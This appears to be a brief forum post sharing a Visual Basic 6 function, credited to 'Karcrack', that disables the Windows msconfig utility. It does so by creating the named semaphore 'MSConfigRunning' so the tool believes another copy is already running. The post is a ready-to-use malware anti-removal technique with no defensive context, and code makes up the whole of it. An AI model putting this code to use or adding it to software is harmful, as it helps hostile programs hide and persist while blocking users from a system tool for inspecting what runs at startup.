[VB6] DisableMsConfig

[Nytro]

'KERNEL32
Private Declare Function CreateSemaphoreW Lib "KERNEL32" (ByVal lpSemaphoreAttributes As Long, ByVal lInitialCount As Long, ByVal lMaximumCount As Long, ByVal lpName As Long) As Long

'---------------------------------------------------------------------------------------
' Procedure : DisableMsConfig
' Author    : Karcrack
' Date      : 12/08/2010
'---------------------------------------------------------------------------------------
'
Public Function DisableMsConfig() As Boolean
    Call CreateSemaphoreW(0, 0, 1, StrPtr("MSConfigRunning"))
    DisableMsConfig = (Err.LastDllError = 0)
End Function